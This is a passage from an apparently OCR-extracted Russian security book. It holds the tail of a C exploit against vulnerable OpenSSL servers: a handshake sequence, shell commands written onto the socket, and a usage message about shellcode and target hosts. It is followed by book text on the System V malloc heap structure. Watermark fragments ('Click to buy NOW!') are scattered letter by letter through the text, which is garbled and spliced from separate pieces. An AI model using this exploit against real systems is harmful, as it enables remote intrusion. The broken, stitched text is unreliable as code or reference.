 

 

 

 

g

 

 

 

 

 

 

 

 

 

e

 

 

 

 

df-xchan

266

267 generate_keys(ssl);

268

269if (get_server_verify(ssl) < 0)

270return(-1);

271

272send_client_finish(ssl);

273get_server_finish(ssl, 0);

275 fcntl(ssl->sockfd, F_SETFL, O_NONBLOCK);

276

277 write(ssl->sockfd, "echo -n\n", 8);

278

279 sleep(3);

280

281read(ssl->sockfd, test, 400);

282write(ssl->sockfd, "echo -n\n", 8);

284return(ssl->sockfd);

285}

286

287void

288usage(char *prog)

289{

290printf("usage: %s [-p port] [-c <connects>] [-t <type>] "

"[-s] target\n"

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

291" -p\tserver port\n"

292" -c\tnumber of connections\n"

293" -t\ttarget type -t0 for list\n"

294" -s\tpopulate shellcode via SSL server\n"

295" target\thost running vulnerable openssl\n", prog);

296exit(-1);

297}

Реализация malloc в ОС System V

Реализация malloc, заимствованная из ОС System V, обычно используется в системах Solaris и IRIX. Она отличается от реализации dlmalloc. Вместо того чтобы хранить всю информацию в блоках, в Sys X malloc применяются двоич- ные деревья. Они организованы так, что выделенные блоки одного размера находятся в одном и том же узле дерева.

typedef union _w_ {

 

 

 

size_t

w_i;

/* unsigned int

*/

struct _t_

*w_p;

/*

указатель */

 

char w_a[ALIGN];

/*

для выравнивания */

} WORD;

 

 

 

 

/* структура узла в дереве свободных блоков */